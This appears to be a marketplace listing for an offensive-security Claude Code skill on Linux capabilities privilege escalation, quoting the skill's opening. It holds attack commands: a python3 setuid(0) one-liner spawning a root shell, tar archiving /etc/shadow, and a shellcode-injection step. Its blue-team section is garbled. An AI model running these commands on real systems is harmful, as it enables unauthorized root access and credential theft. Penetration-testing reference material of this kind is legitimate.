linux-capabilities-privesc

linux-capabilities-privesc is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 61 tokens per session (960 once invoked), scanned B, a copy of linux-capabilities-privesc, Apache-2.0.

A Linux privilege-escalation procedure that looks for excessive file capabilities. Capabilities are limited permissions that can give an ordinary program powers normally reserved for the root administrator.

In plain words
What is it for?
Use it on an authorized Linux system to inventory file capabilities, test unsafe assignments, and document paths from a regular shell to administrator access.
Why use it?
It helps find cases where a low-privileged user could misuse a program's permissions to read protected files, control processes, or become root.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit Use it on an authorized Linux system to inventory file capabilities, test unsafe assignments, and document paths from a regular shell to administrator access.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/linux-capabilities-privesc

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for linux-capabilities-privesc

README.md
[![agentmods](https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/linux-capabilities-privesc/github.svg)](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/linux-capabilities-privesc)
Your own site
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/linux-capabilities-privesc"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/linux-capabilities-privesc/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for linux-capabilities-privesc

Your own site · 80×15
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/linux-capabilities-privesc"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/linux-capabilities-privesc.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 61 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 960 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00061 $0.00960
Opus 5 $0.00030 $0.00480
Sonnet 5 $0.00012 $0.00192
Haiku 4.5 $0.00006 $0.00096

Measured 8d ago against content hash b4fe70ab15c9, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade B, and why

linux-capabilities-privesc scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

# # tar -cvf shadow.tar /etc/shadow

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

# # python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Origin

This is a copy

100% identical to linux-capabilities-privesc — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/penetration-testing/privilege-escalation/linux-capabilities-privesc/SKILL.md · 121 lines

How it starts

The opening of the file, as written. The whole thing — 121 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Linux Capabilities Privilege Escalation

When to Use

  • During the post-exploitation phase on a Linux system after acquiring a low-privileged shell.
  • When standard privilege escalation vectors (sudoers, SUID binaries, cron jobs) yield no results.

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Workflow

Phase 1: Enumerating File Capabilities

# getcap -r / 2>/dev/null

# ```

### Phase 2: Exploiting cap_setuid (e.g., Python, Perl, Tar)

```bash
# # python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# ```

### Phase 3: Exploiting cap_dac_read_search (e.g., Tar)

```bash
# # tar -cvf shadow.tar /etc/shadow
tar -xvf shadow.tar
cat etc/shadow

Phase 4: Exploiting cap_sys_ptrace (Process Injection)

# inject_shellcode $(pidof root_process)
Decision Point 🔀
flowchart TD
    A[Run getcap ] --> B{Capabilities Found ]}
    B -->|Yes| C[Match Capability ]
    B -->|No| D[Check Other Vectors ]
    C --> E[Execute PrivEsc ]

🔵 Blue Team Detection & Defense

  • Audit File Capabilities Regularly: Principle of Least Privilege: Remove Development Tools: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Linux Capabilities Privesc — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

Read the full file on GitHub · 121 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 121 lines · 61 tokens per session scan B b4fe70ab15c9

Subscribe to this mod's changes

linux-capabilities-privesc is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 61 tokens to every session and 960 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 2 findings (reaches for credential files, runs shell commands). It is 100% identical to linux-capabilities-privesc, differing in 0 lines, and is treated as a copy.

Related

Other skills, from other repositories

linux-capabilities-privesc

Identify and exploit misconfigured Linux Capabilities. This skill covers how attackers escalate privileges to root without relying on SUID binaries or kernel exploits by abusing excessive capabilities like capdacreadsearch, capsysptrace, or capsetuid assigned to ordinary files.

ShulkwiSEC/bb-huge · 61 tokens

detecting-privilege-escalation-in-kubernetes-pods

Detect and prevent privilege escalation in Kubernetes pods by monitoring security contexts, capabilities, and syscall patterns with Falco and OPA policies.

xalgorix/xalgorix · 40 tokens

docker-daemon-privesc

Exploit misconfigured Docker environments, specifically focusing on privilege escalation via an exposed Docker daemon socket (docker.sock) or membership in the local docker user group to achieve root access on the host system.

ShulkwiSEC/bb-huge · 50 tokens

privesc-linpeas

Linux privilege escalation enumeration and attack surface analysis using LinPEAS (Linux Privilege Escalation Awesome Script). Automates post-exploitation discovery of escalation vectors, misconfigurations, and credential exposure on Linux targets. Use when: (1) Enumerating privilege escalation vectors after initial…

AgentSecOps/SecOpsAgentKit · 153 tokens

analyzing-cron-job-privesc-vectors

Identify and exploit Linux cron job misconfigurations to escalate privileges from a low-privilege user to root. Covers writable cron scripts, world-writable PATH entries, wildcard injection, and cron-based reverse shells in isolated lab environments.

withcrux/agentHack-skills · 58 tokens

analyzing-sudo-rules-for-privesc-vectors

Enumerate and exploit sudo misconfigurations on Linux systems to escalate privileges. Covers NOPASSWD entries, wildcard abuse, sudo -l enumeration, LDPRELOAD injection, and GTFOBins lookup for allowed commands in isolated lab environments. Core skill for Linux privilege escalation phases.

withcrux/agentHack-skills · 70 tokens